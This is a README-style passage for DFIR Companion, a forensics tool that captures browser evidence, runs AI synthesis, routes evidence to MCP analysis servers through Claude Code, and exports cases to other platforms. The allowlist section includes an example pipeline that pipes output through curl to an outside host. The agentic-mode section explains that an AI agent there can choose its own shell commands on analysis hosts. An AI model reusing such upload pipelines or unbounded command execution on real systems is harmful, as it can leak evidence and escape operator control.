  • Automatic state backup / rotation — pre-synthesis + hourly snapshots of all per-case state files; configurable retention; Settings → Diagnostics → restore with one click
  • Encrypted case archive — password-protected .dfircase export of the ENTIRE case (evidence and screenshots included, AES-256-GCM encrypted); cross-machine sharing + restore as new case
  • Redacted case package — ZIP with tokenized IPs/hosts/users, blurred PII in screenshots, adversary indicators preserved
  • AI executive summary — management-facing (no ATT&CK ids/hashes/tool names)
  • Narrative Timeline — prose story for non-technical stakeholders
  • DFIR-IRIS push — idempotent; maps assets/IOCs/timeline/tasks; the push dialog shows (and lets you override) the target IRIS case name, remembered so later pushes keep hitting the same case. Settings → DFIR-IRIS has Test/reconnect (no restart)
  • DFIR-IRIS import — pull existing case assets/IOCs/timeline (deterministic, no AI)
  • Jira / ServiceNow push — one-click or bulk push straight from the finding panel; re-pushing updates the existing ticket
  • Compliance Impact — maps confirmed findings to NIST/PCI/HIPAA/GDPR/SEC/ISO obligations, with breach-notification countdowns
  • Timesketch push — find-or-create sketch; push or download either the Forensic Timeline or the full Super Timeline (raw host-triage artifacts included), each into its own timeline within the same sketch so neither clobbers the other; export JSONL
  • Notion export — managed page block; your notes outside it untouched
  • ClickUp export — Response Playbook as tasks; re-push updates in place
  • Notifications — Slack/MS Teams/Mattermost/Discord/Telegram/SMTP for findings/playbook/milestones; per-channel threshold + toggles
  • Audit-log export to a SIEM — forward each case's activity log (who did what, when, and whether it worked) to Splunk HEC, Elasticsearch or RFC 5424 syslog for SOC 2 / ISO 27001 evidence; opt-in per destination, remembers how far it got per case, and re-sends rather than skips after an outage
  • War-room slash-command bot — two-way Slack/Teams/Telegram: /dfir findings, /dfir iocs malicious, /dfir ask … from the incident channel; bind a channel to a case, allowlist who can spend AI budget (#235)
  • Report templates — global branded layouts (accent, header/footer, section order); pick per case. A section disabled here skips its AI generation (executive summary, narrative) to save tokens (#168)
  • Mobile companion — read-only PWA (/mobile) for findings/timeline/IOCs with verdicts; offline app-shell
  • Presentation / timeline-replay mode — read-only, step-through slide deck (/cases/:id/present) for handoff briefings & executive walkthroughs: big cards, keyboard nav, auto-advance, severity filter, report-template branding; export a self-contained offline HTML deck (#177)
  • 🌍 Geographic IP map — plot geo-located IP IOCs on an interactive Leaflet world map (severity colors, victim→attacker flows, country stats, filtering, CSV export); coordinates from the opt-in GeoIP enrichment, offline-friendly (tiles overridable)

Ops

  • Indexed SQLite case storage — worker-backed, cursor-paged database replaces flat JSON case state
  • Essential / All view in Settings — opens on a curated 43-control view instead of all ~257 fields; remembered per browser
  • Health / Diagnostics — Settings → Diagnostics one-page operator view: disk usage, case count, capture/synthesis queue, redacted AI config + live Test AI connectivity, importer attempts (24h/7d) + recent failures; compute-on-demand case sizes; key-free copy-to-clipboard
  • Case Statistics panel — per-case totals, source breakdown, and import velocity in Diagnostics
  • Per-case AI cost tracking — Settings → Diagnostics shows an "AI cost — this case" card: calls, dollar cost, and token counts by Vision/Synthesis/Other and by model, read from the provider's real per-call cost/token counts (never a fabricated $0.00 when a provider doesn't report it)
  • Configurable event ingestion cap (DFIR_MAX_EVENTS) — overrides the default 2000-event-per-import safety cap
  • Prompt regression / eval harness — CI-safe and real-provider golden-output testing for AI extraction/synthesis quality
  • Logging — console + global session log + per-case audit trail; DFIR_LOG_LEVEL live toggle; debug traces AI/captures/OCR/anonymization
  • Browser extension — Chrome/Comet from the Chrome Web Store, or Firefox 140+ from any release; needs the local server
  • Portable Windows EXE — unzip + double-click, no Node required
  • Chocolatey package — choco install dfir-companion; downloads + verifies the portable build + bundles the capture extension, data in %LOCALAPPDATA%
  • Docker / Compose — docker compose up; evidence on host volume, no bundled AI backend
  • Linux AppImage — single-file executable for any glibc distro, no Node required
  • Update notice — opt-in (default off) check for a newer GitHub release; dashboard banner, never auto-downloads
  • Customizable prompts — override prompts via env var or file; edits apply without restart
  • Demo case — one-click load or npm run seed-demo to seed GlobalTech scenario
  • CLI scripts — reanalyze, synthesize, coverage, verify:ai, clean-timeline

Using your MCP servers

The Companion can point case evidence at MCP servers you run — a SIFT workstation, a REMnux box, a Windows triage baseline service — so evidence is analysed on a machine that has the tooling.

It reaches them only through Claude Code. The Companion is not an MCP client: it holds no server URL, no bearer token, and starts no npx or uvx of its own. Claude Code is already configured with your servers and already holds their credentials, so it does the talking and the Companion asks it to.

Prerequisites

This whole feature works only if:

  1. Claude Code is installed and authenticated on the machine running the Companion — not on your laptop, on the Companion host. Set DFIR_AI_CLAUDE_CODE_BIN if claude is not on its PATH.
  2. Your MCP servers are configured in Claude Code (claude mcp add …, or its config file), and claude mcp list shows them connected.

There is no fallback. If you run the Companion in Docker, from the AppImage, or from the portable Windows build without Claude Code alongside it, the MCP routes will tell you so and nothing else.

Two consequences worth knowing before you rely on it. Every MCP call goes through a model, so it spends tokens and is not the bit-for-bit deterministic call a direct JSON-RPC request would be — the prompt makes it a transport (one tool, exact arguments, verbatim output) but a model is still in the middle. And because the servers come from Claude Code's own configuration rather than a generated one, Claude Code starts every server it is configured with on each run, not just the one being used; the allowlist bounds what may be called, not what gets launched.

In Settings → Tools, press Refresh from Claude Code to load its server list, then allow one and say what it may do. There is nothing to type but policy — the server names come from Claude Code itself, so a typo cannot leave you with an entry that silently matches nothing.

Running a tool against case evidence

POST /cases/<id>/mcp/<serverId>/run with { tool, args, targetPath }. Put <target> wherever the tool expects the evidence path — it is replaced with the path on the analysis host after delivery has run, so the argument you write is the argument the tool receives:

root@kitploit:~
{ "tool": "run_command",
  "args": { "command": ["vol.py", "-f", "<target>", "pslist"] },
  "targetPath": "imports/memory.raw" }

targetPath is resolved inside the case directory; anything outside it is refused. For a sample the browser holds and the server has no path to, POST /cases/<id>/mcp/<serverId>/run-upload takes { filename, dataBase64 } instead and stages the bytes inside the case first.

Both return 202 with a job id rather than blocking. A real Volatility run outlives any sensible request timeout, so the run is a background job with progress, a cancel button, and a WebSocket job_changed broadcast. The result flows into the case through the same import chain as every other tool — timeline events, findings and IOCs, with an undo checkpoint — so nothing about reading the result differs from an ordinary import. Structured output is routed to the matching importer; unstructured prose falls through to the generic log path rather than being rejected.

A tool that reports its own failure fails the job instead of being ingested: an error message is a diagnostic, not an artifact, and filing it in the timeline would make it look like evidence.

Preview before importing

On by default, and worth leaving on. An MCP server will return reference data as readily as evidence — ask SIFT what tools it has and you get a JSON inventory that is structurally identical to a Volatility table: an array of objects with no timestamps. No detector can tell them apart, so the importers do what they are built to do and extract every path in it as a file indicator. One capability listing is a few dozen IOCs the case never wanted.

With preview on, the run fetches the output and stops. You see the bytes, the size, and the kind it would import as, and choose. Approving ingests exactly the bytes already fetched — it never re-runs the tool, so a twenty-minute Volatility run costs twenty minutes once, and a tool with side effects performs them once. Discarding throws the output away and the case is untouched.

Send preview: true on the run to use it from the API, then GET, POST …/import or DELETE on /cases/<id>/mcp/preview/<jobId>.

Nothing here is a substitute for judgement about what to run, and importing without preview is not dangerous — every MCP import pushes an undo checkpoint, so a run that turns out to be noise is one click from being rolled back.

What using a server grants

By default, everything the server offers. That is deliberate: Claude Code already lets you call any tool on any server you configured, so requiring you to re-enumerate them here would have been stricter than your own daily use — and a second place to describe the same server.

Worth knowing what "everything" includes. Some servers expose fine-grained tools — check_service, check_autorun, one per question. Others expose a single command runner that executes whatever you hand it: SIFT's run_command states it can execute "most SIFT-installed tools … including curl, wget, dd, fdisk, and python3", and REMnux's run_tool takes an entire shell pipeline. Using such a server from the Companion means command execution on that host — reasonable on an isolated forensics network, where the analysis boxes are yours and the evidence is already on your LAN, and not reasonable anywhere else.

Two optional lists narrow it when you want that:

SettingApplies toBlank means
Restrict to toolsevery callevery tool the server offers
Restrict to commandscalls carrying a command argumentno command restriction

Commands are matched by basename, so grep and /usr/bin/grep are one rule. Every stage of a pipeline is checked, not just the first — oledump.py s.doc | curl -T - http://elsewhere needs both oledump.py and curl permitted. A command using shell substitution ($(…), backticks, ${…}) is refused outright, because what it would run cannot be known in advance.

What the command list does not do. It bounds which binaries run, never what a permitted one can do — permitting dd permits writing to any path that server's user can write to; permitting python3 permits arbitrary code. It also keys on well-known parameter names (command, cmd, argv), so a server naming its command parameter something unusual is not caught. It exists to help an operator who wants to narrow their own access, not to contain a server they should not have configured in the first place.

Getting evidence to the server

MCP has no file-transfer primitive and a multi-gigabyte memory image cannot travel inside a tool argument, so the file has to already be somewhere the server can open it. This part stays the Companion's job — Claude Code cannot move an image onto an analysis box. Each server picks one of two routes:

remote-path (default) — the evidence is already visible to the analysis host over a shared mount. Set a local prefix and a remote prefix and the path is rewritten (/srv/cases/… → /mnt/dfir/…); leave both empty when the mount is at the same path on both sides. Nothing is copied.

scp — the Companion pushes the file to a staging directory, the tool runs, and the staged copy is deleted afterwards. Configure host, remoteDir, optionally user, port and identityFile.

Four things to know before choosing scp:

  • The host key must already be trusted. BatchMode is on and StrictHostKeyChecking is not disabled, so an unknown host fails with Host key verification failed rather than trusting whatever answered the address. Connect once by hand (or add the key to known_hosts) first. This is deliberate: silently accepting an unverified key would hand evidence to anyone holding the IP.
  • Authentication is key-based only. BatchMode means ssh never prompts, so a password-only host cannot work. Point identityFile at a key with no passphrase, or load it into an agent the server process can reach.
  • There is no progress and no resume. A 16 GB copy is opaque until it finishes or fails, and a dropped connection means starting over. The transfer is cancellable and has its own hour-long timeout, separate from the tool-call timeout.
  • Host, user and remote directory are restricted to a conservative charset (letters, digits, dot, dash, underscore, and / for the directory). user@host reaches ssh unquoted, so anything with shell meaning is refused when you save it rather than at transfer time. The staged filename is derived from the evidence name and sanitized the same way.

Either route records a chain-of-custody transferred event naming the destination, so a case file shows that evidence left this machine, when, and to where. A transfer that fails records nothing — the chain never claims a copy that did not happen.

Plain-English MCP investigations

A single tool call cannot follow a thread. "Investigate this dump" wants a loop — run pslist, notice something, pivot to malfind — and that is what agentic mode does: it lets Claude Code drive against the server you allowed, then merges what it reports. This is the primary MCP workflow in the dashboard: write the goal in plain English, select or browse to the evidence, choose the MCP app, and press Investigate. Tool names and JSON arguments are available only under the advanced manual-call section.

POST /cases/<id>/mcp/agent with { prompt, servers?, targetPath?, preview? }, or POST /cases/<id>/mcp/agent-upload with { prompt, servers, filename, dataBase64, preview? }.

Read this before allowing a server. In a manual run the Companion controls each call, so every call passes the tool and command allowlists. In agentic mode it is not: claude talks to the servers directly. Only the tool allowlist survives, as --allowed-tools. The command allowlist cannot be enforced. Letting an agent use a command-runner tool therefore grants an autonomous loop the ability to choose its own command lines on that host.

Allowing and enabling an MCP server in Companion is the permission boundary for this mode. The server's tool restriction still applies. A command restriction cannot constrain the autonomous loop; it applies only to advanced manual calls.

What the mode still guarantees: an explicit tool restriction is passed through tool by tool; a blank restriction deliberately permits every tool that server exposes. Project/local settings, CLAUDE.md files and hooks are excluded, and the run is turn-limited. Claude Code's user settings remain enabled because that is where its MCP server connections live.

The agent's reply is schema-validated and stripped of provenance claims before it is merged — everything it saw came from tool output, which is untrusted. It is never asked for a case summary, so a run adds findings, IOCs and events without rewriting your conclusions. Preview works here too, and matters more: an autonomous loop decides for itself what to report.

The investigation is capped at 40 turns. If Claude Code consumes that budget while using tools, Companion resumes the same session once with all tools disabled and asks it to report only from the evidence already collected. This preserves the safety boundary without losing a completed investigation merely because its final JSON would have been the next turn.

Credentials

There are none to configure here. Bearer tokens, headers and transports all live in Claude Code's own MCP configuration, which is the only place that holds them. The Companion stores a server name, an allowlist and a delivery block — nothing that would let it connect to anything on its own.

One caveat if you go looking: claude mcp list prints each server's full command line, which for an mcp-remote entry includes the bearer token in cleartext. The Companion parses only the name and the health verdict out of that output and never stores, logs or renders the rest — but be careful where you run that command yourself.

Repository layout

root@kitploit:~
52.43-DFIR-Companion/
├── companion/         Node/TS localhost server (the core). See companion/README.md.
├── extension/         MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│   └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│   └── superpowers/plans/   The original 4 implementation plans.
├── Dockerfile         Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/             Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.

How the pieces fit

root@kitploit:~
 Browser (Comet/Chrome)                Localhost companion (127.0.0.1:4773)
 ┌─────────────────────┐  POST         ┌───────────────────────────────────────┐
 │ DFIR Capture (MV3)  │ /captures ──▶ │ ingest → evidence (screenshots+jsonl)  │
 │  timer + events     │               │   │                                    │
 └─────────────────────┘               │   ▼ per-window AI extraction (cheap)   │
                                        │ forensic timeline ──▶ synthesis (strong)│
 Dashboard / Reports ◀── WS /ws,       │   findings, IOCs, MITRE, attacker path, │
   GET /cases/:id/state                │   key questions, threads                │
 └─────────────────────┘               └───────────────────────────────────────┘

Two-phase analysis: a cheap vision model reads each screenshot into the forensic timeline; a stronger model does the single holistic synthesis call (findings, MITRE, attacker path, questions). Configure both via .env — see companion/README.md.

Quick start

Prerequisite: Node.js 22.19 or later (which ships with npm). Check with node --version. Everything below uses npm, so no other runtime is needed. Indexed case storage uses the built-in node:sqlite module, so older Node releases cannot open cases. The portable build bundles a compatible runtime.

  1. Companion (the server):

    root@kitploit:~
    git clone https://github.com/hasamba/DFIR-Companion.git
    cd DFIR-Companion/companion
    npm install
    cp .env.example .env      # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
    npm run dev               # serves http://127.0.0.1:4773  (dashboard at /dashboard)
    
  2. Extension (capture):

    Easiest: install directly from the Chrome Web Store. On Firefox 140+, download dfir-capture-extension-firefox-*.zip from the latest release and unzip it.

    Or build from source:

    root@kitploit:~
    cd DFIR-Companion/extension
    npm install
    npm run build             # Chrome/Comet → load extension/dist as an unpacked extension
    npm run build:firefox     # Firefox 140+ → load extension/dist-firefox/manifest.json
    

    On Firefox, load it from about:debugging#/runtime/this-firefox → Load Temporary Add-on… and pick the manifest.json file (Chrome asks for the folder; Firefox does not). Firefox drops temporary add-ons on restart, so repeat that each session — there is no AMO listing yet, so the release zip is unsigned and cannot be installed permanently.

    What it collects, since a temporary load never asks. Firefox shows its data-collection notice only for a signed add-on installed normally; about:debugging grants everything silently. The extension declares browsing activity (a capture carries the tab's URL and title) and website content (the screenshot, and the rows a Push scrapes). The extension sends it to the companion address you configure and nowhere else; what that companion forwards afterwards — a vision model reads the screenshots, AI synthesis reads the rows, enrichment queries reputation services — is the companion's own configuration. See extension/PRIVACY.md.

    The popup only attaches to an existing case — you create cases in the dashboard.

  3. Open http://127.0.0.1:4773/dashboard, click + New case to create your case (it connects automatically). Then in the extension popup pick that case from the Case dropdown (Refresh cases if it isn't listed yet) and Start. Browse your evidence — the dashboard updates live.

Updating an existing checkout? After git pull, re-run npm install in both companion/ and extension/ — new features can add dependencies (e.g. the screenshot OCR redaction added tesseract.js). Then restart npm run dev (server code loads once at startup).

Full configuration, HTTP endpoints, the case-folder layout, and the analysis model are documented in companion/README.md.

Docker / Docker Compose

Run the whole thing — companion server + dashboard + the browser add-on — in one container. No Ollama or LiteLLM are bundled; for AI you point DFIR_AI_* at any OpenAI-compatible endpoint (a model you host, a remote provider, or an Ollama/LiteLLM you run separately). With AI left unset the container still does full capture and all the deterministic importers.

Prerequisite: Docker with the Compose plugin (docker compose version).

Localhost-only by design: the container binds 0.0.0.0 internally, but Compose publishes the port to 127.0.0.1 on your host — so the dashboard is never exposed on your network.

  1. Start it (build from source):

    root@kitploit:~
    git clone https://github.com/hasamba/DFIR-Companion.git
    cd DFIR-Companion
    docker compose up -d --build      # → http://127.0.0.1:4773/dashboard
    

    Or pull the prebuilt image from GHCR instead of building:

    root@kitploit:~
    docker compose pull && docker compose up -d
    # image: ghcr.io/hasamba/dfir-companion:latest
    
  2. Load the add-on (capture). The container writes the pre-built, unpacked extension to ./addon on first start. In Chrome/Comet open chrome://extensions, enable Developer mode, click Load unpacked, and select ./addon/dist (a packaged dfir-companion-extension.zip is dropped there too).

  3. Open http://127.0.0.1:4773/dashboard, click + New case, then pick that case in the extension popup and Start.

Data & config:

  • Evidence and case state persist in ./cases on the host (mounted volume) — survives restarts and image rebuilds.
  • Configure via the environment: block in docker-compose.yml, or uncomment env_file: - .env to use a .env file (copy companion/.env.example).
  • To reach an AI endpoint running on the host, use http://host.docker.internal:<port>/v1 (on Linux without Docker Desktop, also uncomment the extra_hosts line in the compose file).

Windows (Chocolatey)

Install the portable Windows build with Chocolatey — no Node.js required. In an elevated shell:

root@kitploit:~
choco install dfir-companion
dfir-companion            # → http://127.0.0.1:4773/dashboard

choco upgrade dfir-companion pulls the next release; choco uninstall dfir-companion removes the binary and PATH shim. The installer downloads the same portable zip published on the Releases page and verifies its SHA256.

Your data lives in your user profile, not the admin-owned install dir: cases in %LOCALAPPDATA%\DFIR-Companion\cases and config in %LOCALAPPDATA%\DFIR-Companion\.env (seeded from the example; edit it for AI / threat-intel keys — all optional). Uninstall keeps that folder so evidence is never deleted. No firewall rule is created — the server binds 127.0.0.1 only.

The capture extension is bundled on disk at %LOCALAPPDATA%\DFIR-Companion\extension for offline install (handy on air-gapped workstations) — load it via chrome://extensions → Developer mode → Load unpacked → that folder, or install it from the Chrome Web Store once published. It is not auto-installed into the browser.

Not yet on the Chocolatey community repo? Until it's published there, grab the dfir-companion.<version>.nupkg from the release and choco install dfir-companion --source . from its folder. Packaging lives in packaging/chocolatey/.

Linux (AppImage)

Download dfir-companion-<version>-x86_64.AppImage from the Releases page, then:

root@kitploit:~
chmod +x dfir-companion-*-x86_64.AppImage
./dfir-companion-*-x86_64.AppImage      # → http://127.0.0.1:4773/dashboard

No Node required — it bundles the server, dashboard, and image tooling. Your data lives in the directory you run it from: cases/ (evidence + state) and an optional .env (AI / threat-intel config) are created/read next to where you launch the AppImage. Override with DFIR_CASES_ROOT (absolute path) and DFIR_ENV_FILE (absolute path to a config file).

Where the data lives

InstallCases + stateConfig (.env)
Source / npm run devcompanion/cases/companion/.env
Portable Windows EXEcases/ next to the EXE.env next to the EXE
Windows (Chocolatey)%LOCALAPPDATA%\DFIR-Companion\cases%LOCALAPPDATA%\DFIR-Companion\.env
Linux AppImage$PWD/cases (launch dir)$PWD/.env (or DFIR_ENV_FILE)
Docker / Composemounted ./cases volumeenvironment: / --env-file

All locations are overridable with DFIR_CASES_ROOT (absolute path).

Environment variables (companion/.env)

All companion behavior is configured via env vars (companion/.env or shell). Copy companion/.env.example to start — it has inline comments for every variable.

Core

VariableDefaultMeaning
DFIR_CASES_ROOT./casesCase folder location; relative paths resolve against companion/
DFIR_PORT4773Server port (must match the extension and dashboard)
DFIR_HOST127.0.0.1Bind interface. An unauthenticated non-loopback bind is refused; Docker Compose documents its host-loopback-only exception
DFIR_MAX_BODY_MB256Max upload size in MB; raise if large SIEM/EDR exports fail with HTTP 413
DFIR_ALLOWED_ORIGINS(none)Extra browser origins allowed to call the API, comma-separated. The capture extension, loopback, and any origin the companion itself served are always trusted, so localhost/LAN/Docker need no setting; every other web origin is refused. Callers sending no Origin (curl, scripts, Velociraptor) are unaffected. Needed when the dashboard is served from a hostname — a reverse proxy or a hosted deployment
DFIR_ALLOWED_HOSTS(none)Extra hostnames this companion answers to, comma-separated. Loopback and bare IP addresses are always accepted, so localhost, Docker, and reaching the dashboard over the LAN at http://192.168.1.50:4773 need no setting. Any name that is not listed is refused — that is what stops DNS rebinding (a hostile site pointing its own domain at your machine). Set this when a reverse proxy forwards a Host that differs from the origin you put in DFIR_ALLOWED_ORIGINS
DFIR_ALLOWED_HOST_SUFFIXES(none)Same as above but matched on a domain suffix, e.g. .lab.example.com, for platforms that mint a fresh hostname per session. Matching is on a label boundary, so .acme.com never matches evilacme.com
DFIR_LOG_LEVELinfoLog verbosity (debug/info/warn/error). Tees to console + (global) + (per-case). traces AI calls, captures, OCR, anonymization, enrichment. Change live (no restart) via Settings → Log verbosity

Authentication (optional team deployment)

DFIR_AUTH_MODE=team enables OIDC/local sign-in, secure browser sessions, per-case roles, and case-scoped service identities. Authentication and identity-provider settings are deployment security controls: configure them in .env or a secret store, then restart. See the Team Accounts and Case Roles guide for the complete variable list, HTTPS setup, first-admin bootstrap, role matrix, extension token, and single-writer process model.

AI — extraction (required to enable analysis)

VariableDefaultMeaning
DFIR_VISION_PROVIDER—openai | openrouter | ollama | litellm | gemini | anthropic | claude-code; unset = capture-only
DFIR_VISION_MODEL—Model id (e.g. gpt-4o-mini, gemini-2.5-flash); must support vision for screenshot extraction
DFIR_VISION_KEY—Provider API key; leave blank for an auth-less local proxy or for claude-code (uses your logged-in claude CLI subscription instead)
DFIR_AI_CLAUDE_CODE_BINclaude on PATHclaude-code only: absolute path to the claude binary if it isn't on PATH
DFIR_VISION_BASE_URLprovider defaultOverride base URL — for a local LiteLLM proxy or any OpenAI-compatible endpoint
DFIR_AI_TIMEOUT_MS900000Per-request timeout (ms); CLI providers (claude-code, codex) need minutes on a large timeline
DFIR_AI_MAX_TOKENS16000Max completion tokens; too low truncates synthesis, prevents OpenRouter 402 on low balance
DFIR_AI_SYNTH_MAX_EVENTS600Cap on forensic events sent to synthesis; Critical/High always get a finding regardless
DFIR_REPORT_SYNTH_COVERAGE(off)Set truthy to add a §3.4 Synthesis coverage footnote to the report — "considered N of M in-window events (K omitted: budget/filtered)", the token estimate, and how many high-severity omissions the safety-net backfill recovered. The dashboard synth-meta card always shows this line; this flag only controls whether it also appears in the exported report
DFIR_REPORT_MODEL_PERF(off)Set truthy to add a footnote to the report — the synthesis model, findings count vs how many the safety-net backfill had to add, parse retries, and (when a second opinion has run) how often agreed with /. The dashboard synth-meta card always shows this; this flag only controls whether it also appears in the exported report

The screenshot/vision vars above (DFIR_VISION_PROVIDER / DFIR_VISION_MODEL / DFIR_VISION_KEY / DFIR_VISION_BASE_URL / DFIR_VISION_IMAGE_DETAIL) were renamed from the DFIR_AI_* prefix; the legacy DFIR_AI_PROVIDER / DFIR_AI_MODEL / DFIR_AI_KEY / DFIR_AI_BASE_URL / DFIR_AI_IMAGE_DETAIL names still work as a deprecated fallback (the new name wins when both are set).

Claude Code — uses your logged-in Claude subscription via the claude CLI, no API key; handles vision + text (screenshot extraction and synthesis). Requires the claude CLI installed and claude auth login completed on the host. Consumes your subscription rate limits (heavy extraction can exhaust them); reported cost is API-equivalent, not out-of-pocket. Settings → AI shows a connection status (not installed / not connected / connected) with a one-click Connect action.

AI — text model (two-tier, optional)

The split is vision vs text: DFIR_VISION_MODEL reads screenshots (must be multimodal); the DFIR_AI_SYNTH_* model does all text work — CSV extraction, log triage, synthesis, ask/explain. If unset, text work reuses DFIR_VISION_MODEL.

Codex — set DFIR_AI_SYNTH_PROVIDER=codex (also valid for the velo / second-opinion providers) to run text work through the local OpenAI Codex CLI (codex exec), using your ambient codex auth — codex login or OPENAI_API_KEY, no DFIR_AI_KEY. Codex is text-only (it can't read screenshots), so pair it with a vision provider for extraction; it sends data to OpenAI (non-local). Requires @openai/codex installed. Optional DFIR_AI_CODEX_BIN points at a non-PATH codex. Settings → AI shows a codex connection status (not installed / not connected / connected) with a one-click Connect action.

Recommended: cheap vision model for screenshots, strong reasoning model for text. Don't economise on the text model — a weak one fails log triage silently, returning no events rather than wrong ones (npm run eval:real measures exactly this).

VariableDefaultMeaning
DFIR_AI_SYNTH_PROVIDER= DFIR_VISION_PROVIDERProvider for text work (CSV/log/synthesis)
DFIR_AI_SYNTH_MODEL= DFIR_VISION_MODELText model id — CSV/log extraction + synthesis (e.g. gpt-4o, gemini-2.5-pro, claude-sonnet-4-6)
DFIR_AI_SYNTH_KEY= DFIR_VISION_KEYText-model API key
DFIR_AI_SYNTH_BASE_URL= DFIR_VISION_BASE_URLSynthesis base URL

AI — Velociraptor hunt model (optional)

A dedicated model used only to generate Velociraptor VQL hunts (the Suggest Velociraptor hunts / Fleet Hunts features), separate from extraction/synthesis/OCR — many models botch VQL. Also editable in Settings → AI.

VariableDefaultMeaning
DFIR_AI_VELO_PROVIDERopenrouterProvider for VQL-hunt generation
DFIR_AI_VELO_MODELanthropic/claude-haiku-4.5Model id for VQL-hunt generation
DFIR_AI_VELO_KEY= DFIR_VISION_KEYAPI key (reuses the main key when blank)
DFIR_AI_VELO_BASE_URL= DFIR_VISION_BASE_URLBase URL override

AI — custom prompts (optional)

Each prompt has two override forms (priority order): DFIR_AI_<NAME>_PROMPT (inline text, read at startup) and DFIR_AI_<NAME>_PROMPT_FILE (path to file, re-read each call — edit and it applies immediately). npm run prompts:eject writes the built-in defaults as a starting point.

Prompt name<NAME> token
Per-screenshot extractionSYSTEM
CSV import triageCSV
Log import triageLOG
Holistic synthesisSYNTH
Case Q&AASK
Executive summaryEXEC
Narrative timelineNARRATIVE
Suggested fleet huntsHUNTS
Suggested playbook huntsPBHUNTS
Timeline-gap hypothesesGAPHYP
Query Translator (NL → query)QUERYXLATE

Threat-intel enrichment (optional — off by default)

Add a key to enable that provider. All external providers are opt-in per case from the dashboard.

VariableDefaultMeaning
DFIR_VT_KEY—VirusTotal API key (hash / IP / domain / URL)
DFIR_HUNTINGCH_KEY—abuse.ch Auth-Key for Hunting.ch (MalwareBazaar · ThreatFox · URLhaus · YARAify); falls back to DFIR_MB_KEY
DFIR_MB_KEY—Legacy abuse.ch key — powers Hunting.ch; prefer DFIR_HUNTINGCH_KEY
DFIR_ABUSEIPDB_KEY—AbuseIPDB API key (IP reputation)
DFIR_CROWDSTRIKE_CLIENT_ID—CrowdStrike Falcon TI OAuth2 client ID
DFIR_CROWDSTRIKE_CLIENT_SECRET—CrowdStrike OAuth2 secret (needs Indicators: Read + MalQuery: Read)
DFIR_CROWDSTRIKE_CLOUDus-1Tenant cloud: us-1 | us-2 | eu-1 | gov-us-1 | gov-us-2
DFIR_CROWDSTRIKE_BASE_URLfrom cloudExplicit API base URL (overrides DFIR_CROWDSTRIKE_CLOUD)
DFIR_ROCKYRACCOON_KEY—RockyRaccoon key for Windows process prevalence / LOLBIN / ATT&CK
DFIR_MISP_URL—MISP instance URL — both URL + key required for enrichment and push
DFIR_MISP_KEY—MISP API auth key
DFIR_MISP_CA—PEM CA bundle for internal-CA MISP (verification stays on)
DFIR_MISP_INSECURE—=1 to skip TLS verification (lab only)
DFIR_MISP_DISTRIBUTION0New event distribution: 0=org, 1=community, 2=connected, 3=all

Customer exposure (optional)

Checks the victim org's own domains/emails against breach databases — never adversary/IOC domains.

VariableDefaultMeaning
DFIR_HIBP_KEY—Have I Been Pwned API key
DFIR_HIBP_USER_AGENTDFIR CompanionHIBP User-Agent header
DFIR_LEAKCHECK_KEY—LeakCheck Pro API key
DFIR_LEAKCHECK_DOMAIN_LIMIT1000Max records per domain search
DFIR_DEHASHED_KEY—DeHashed v2 API key
DFIR_DEHASHED_BASE_URLDeHashed defaultOverride DeHashed API base URL
DFIR_SHODAN_KEY—Shodan key (domain → exposed hosts / ports / CVEs; no email lookup)
DFIR_EXPOSURE_DELAY_MS1500Throttle between provider lookups (ms)

DFIR-IRIS push / import (optional)

Both URL and key are required to enable. The same connection powers Push to DFIR-IRIS and Import from IRIS (pull an existing IRIS case's assets/IOCs/timeline into a case).

VariableDefaultMeaning
DFIR_IRIS_URL—IRIS instance URL
DFIR_IRIS_KEY—IRIS API key
DFIR_IRIS_CA—PEM CA bundle for internal-CA IRIS
DFIR_IRIS_INSECURE—=1 to skip TLS verification (lab only)
DFIR_IRIS_CUSTOMER_ID1Customer id for new IRIS cases (push)
DFIR_IRIS_CLASSIFICATION_ID1Classification id for new IRIS cases (push)

Timesketch push (optional)

URL + user + password all required to enable push. Export to JSONL works without any config.

VariableDefaultMeaning
DFIR_TIMESKETCH_URL—Timesketch instance URL
DFIR_TIMESKETCH_USER—Local-auth username
DFIR_TIMESKETCH_PASSWORD—Local-auth password
DFIR_TIMESKETCH_TIMELINEDFIR-Companion Forensic TimelineManaged timeline name
DFIR_TIMESKETCH_CA—PEM CA bundle for internal-CA Timesketch
DFIR_TIMESKETCH_INSECURE—=1 to skip TLS verification (lab only)

Notion export (optional)

Token alone enables it. Share the target page/database with the integration. "New page" needs a database or parent page (env default or entered per export); "existing page" updates a page you paste.

VariableDefaultMeaning
DFIR_NOTION_TOKEN—Internal-integration secret (Notion: Settings → Connections → develop your own)
DFIR_NOTION_DATABASE_ID—Default database for "new page" exports (the investigation template)
DFIR_NOTION_PARENT_PAGE_ID—Alternative default: create the new page under this parent page
DFIR_NOTION_CONTAINER_TITLE🔍 DFIR Companion — Auto-generatedTitle of the managed block the Companion owns
DFIR_NOTION_MAX_TIMELINE500Max timeline rows written to Notion
DFIR_NOTION_CA—PEM CA bundle if a proxy uses an internal CA
DFIR_NOTION_INSECURE—=1 to skip TLS verification (lab only)

Velociraptor live hunts + triage bundles (optional)

Set DFIR_VELOCIRAPTOR_API_CONFIG to enable. Generate the config once with:

root@kitploit:~
velociraptor --config server.config.yaml config api_client --name dfir --role administrator,api api.config.yaml
VariableDefaultMeaning
DFIR_VELOCIRAPTOR_API_CONFIG—Path to api_client config file
DFIR_VELOCIRAPTOR_BINARYvelociraptorExecutable path (full .exe path on Windows)
DFIR_VELOCIRAPTOR_GUI_URL—GUI base URL for deep-linking to launched hunts
DFIR_VELOCIRAPTOR_ORGrootOrg for the deep link's ?org_id= (the GUI requires it, before the # fragment)
DFIR_VELOCIRAPTOR_TIMEOUT_MS60000Per-query timeout (ms)
DFIR_VELOCIRAPTOR_MAX_ROWS1000Max rows returned to the dashboard
DFIR_VELOCIRAPTOR_MAX_OUTPUT52428800Hard cap on interactive query output bytes (50 MB)
DFIR_VELOCIRAPTOR_COLLECT_MAX_OUTPUT268435456Larger cap for bundle-hunt collection (rows + uploaded JSON; THOR/Hayabusa are big). An artifact/upload over this is skipped (logged), not fatal — the rest still import.
